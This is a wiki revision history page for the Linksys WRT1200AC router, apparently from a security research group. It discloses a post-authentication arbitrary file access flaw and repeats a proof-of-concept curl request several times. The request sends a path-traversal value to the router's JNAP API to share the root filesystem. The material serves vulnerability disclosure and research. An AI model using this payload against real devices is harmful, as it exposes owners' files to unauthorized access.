Linksys WRT1200AC - Revision history

Zenofex at 12:27, 10 August 2017

2017-08-10T12:27:21Z

← Older revision		Revision as of 12:27, 10 August 2017
Line 17:		Line 17:

	==POC==		==POC==
			The following curl command is a Proof of Concept which demonstrates creating a file share at /.

			* Firmware Version: 1.0.5.177401
	Firmware Version: 1.0.5.177401


	~~The following curl command is a Proof of Concept which demonstrates creating a file share at /.~~

	<pre>curl -i -s -k -X 'POST' \		<pre>curl -i -s -k -X 'POST' \
Line 31:		Line 28:
	-b 'initial-tab=; visited-index=true; ui-language=en-US; modelNumber=WRT1200AC; smartmap-filter-values=computer%2Cmobile%2Cprinter%2Cother%2Clan%2CwirelessTwo%2CwirelessFive%2CwirelessFive-2; smartmap-filter-set=online-network; admin-auth=Basic%20<BASE64 CREDS>; current-applet=A2DB16C0-59B9-4C79-9BF2-E5A3A307F9C1' \		-b 'initial-tab=; visited-index=true; ui-language=en-US; modelNumber=WRT1200AC; smartmap-filter-values=computer%2Cmobile%2Cprinter%2Cother%2Clan%2CwirelessTwo%2CwirelessFive%2CwirelessFive-2; smartmap-filter-set=online-network; admin-auth=Basic%20<BASE64 CREDS>; current-applet=A2DB16C0-59B9-4C79-9BF2-E5A3A307F9C1' \
	--data-binary $'{\"name\":\"HAXHAXHAX\",\"partitionName\":\"/dev/sda1\",\"path\":\"/../../../../../../\",\"isReadOnly\":false,\"groupsWithPermission\":[\"testuser\",\"admin\"]}' \		--data-binary $'{\"name\":\"HAXHAXHAX\",\"partitionName\":\"/dev/sda1\",\"path\":\"/../../../../../../\",\"isReadOnly\":false,\"groupsWithPermission\":[\"testuser\",\"admin\"]}' \
	'http://192.168.1.1/JNAP/'<pre>		'http://192.168.1.1/JNAP/'</pre>

			=== Demo ===
			{{#ev:youtube\|wwUB6R1rRTQ}}

Zenofex at 12:32, 5 August 2017

2017-08-05T12:32:40Z

← Older revision		Revision as of 12:32, 5 August 2017
Line 1:		Line 1:
	__FORCETOC__		__FORCETOC__
	{{Disclaimer}}		{{Disclaimer}}
	[[File:LINKSYS_WRT1200AC.JPG\|thumb\|~~320px~~]]		[[File:LINKSYS_WRT1200AC.JPG\|left\|thumb\|160px]]
	[[Category:Networking]]		[[Category:Networking]]

Zenofex at 12:29, 5 August 2017

2017-08-05T12:29:03Z

← Older revision		Revision as of 12:29, 5 August 2017
Line 8:		Line 8:
	Built on the foundation of our original WRT's open-source heritage, the Linksys WRT1200AC delivers superior network performance for the most demanding users. The WRT1200AC features two external antennas, a powerful 1.3GHz dual-core ARM, and Wireless-AC to provide high-speed Wi-Fi connections with exceptional range.		Built on the foundation of our original WRT's open-source heritage, the Linksys WRT1200AC delivers superior network performance for the most demanding users. The WRT1200AC features two external antennas, a powerful 1.3GHz dual-core ARM, and Wireless-AC to provide high-speed Wi-Fi connections with exceptional range.

	[https://www.amazon.com/Linksys-Dual-Band-Wireless-Gigabit-WRT1200AC/dp/B00UVN20T0 Amazon]		== Purchase ==
			Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
			[https://www.amazon.com/Linksys-Dual-Band-Wireless-Gigabit-WRT1200AC/dp/B00UVN20T0/ref=as_li_ss_tl?s=electronics&ie=UTF8&qid=1501936088&sr=1-1&keywords=Linksys+WRT1200AC&linkCode=ll1&tag=exploiteers-20&linkId=48f9a215d36ee3937369c445aac9653b Purchase the Linksys WRT1200AC at Amazon]

	==Post Authentication Arbitrary File Access==		==Post Authentication Arbitrary File Access==

Zenofex at 11:44, 5 August 2017

2017-08-05T11:44:18Z

← Older revision		Revision as of 11:44, 5 August 2017
Line 2:		Line 2:
	{{Disclaimer}}		{{Disclaimer}}
	[[File:LINKSYS_WRT1200AC.JPG\|thumb\|320px]]		[[File:LINKSYS_WRT1200AC.JPG\|thumb\|320px]]
	[[Category:~~Linksys WRT1200AC~~]]		[[Category:Networking]]

	=Linksys WRT1200AC=		=Linksys WRT1200AC=

0x00string: Created page with "FORCETOC {{Disclaimer}} 320px Category:Linksys WRT1200AC =Linksys WRT1200AC= Built on the foundation of our original WRT's open-..."

2017-08-03T23:59:48Z

Created page with "__FORCETOC__ {{Disclaimer}} thumb|320px Category:Linksys WRT1200AC =Linksys WRT1200AC= Built on the foundation of our original WRT's open-..."

New page

__FORCETOC__
{{Disclaimer}}
[[File:LINKSYS_WRT1200AC.JPG|thumb|320px]]
[[Category:Linksys WRT1200AC]]

=Linksys WRT1200AC=

Built on the foundation of our original WRT's open-source heritage, the Linksys WRT1200AC delivers superior network performance for the most demanding users. The WRT1200AC features two external antennas, a powerful 1.3GHz dual-core ARM, and Wireless-AC to provide high-speed Wi-Fi connections with exceptional range.

[https://www.amazon.com/Linksys-Dual-Band-Wireless-Gigabit-WRT1200AC/dp/B00UVN20T0 Amazon]

==Post Authentication Arbitrary File Access==

Arbitrary file access due to improper sanitization of path field in media sharing setup.

==POC==

Firmware Version: 1.0.5.177401

The following curl command is a Proof of Concept which demonstrates creating a file share at /.

<pre>curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json; charset=UTF-8' -H 'X-JNAP-Action: http://linksys.com/jnap/storage/CreateFTPFolder' \
-H 'Expires: Fri, 10 Oct 2013 14:19:41 GMT' -H 'X-JNAP-Authorization: Basic <BASE64 CREDS>' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Referer: http://192.168.1.1/ui/1.0.99.177401/dynamic/home.html' \
-b 'initial-tab=; visited-index=true; ui-language=en-US; modelNumber=WRT1200AC; smartmap-filter-values=computer%2Cmobile%2Cprinter%2Cother%2Clan%2CwirelessTwo%2CwirelessFive%2CwirelessFive-2; smartmap-filter-set=online-network; admin-auth=Basic%20<BASE64 CREDS>; current-applet=A2DB16C0-59B9-4C79-9BF2-E5A3A307F9C1' \
--data-binary $'{\"name\":\"HAXHAXHAX\",\"partitionName\":\"/dev/sda1\",\"path\":\"/../../../../../../\",\"isReadOnly\":false,\"groupsWithPermission\":[\"testuser\",\"admin\"]}' \
'http://192.168.1.1/JNAP/'<pre>

Linksys WRT1200AC - Revision history

Zenofex at 12:27, 10 August 2017

Zenofex at 12:32, 5 August 2017

Zenofex at 12:29, 5 August 2017

Zenofex at 11:44, 5 August 2017

0x00string: Created page with "__FORCETOC__ {{Disclaimer}} 320px Category:Linksys WRT1200AC =Linksys WRT1200AC= Built on the foundation of our original WRT's open-..."

0x00string: Created page with "FORCETOC {{Disclaimer}} 320px Category:Linksys WRT1200AC =Linksys WRT1200AC= Built on the foundation of our original WRT's open-..."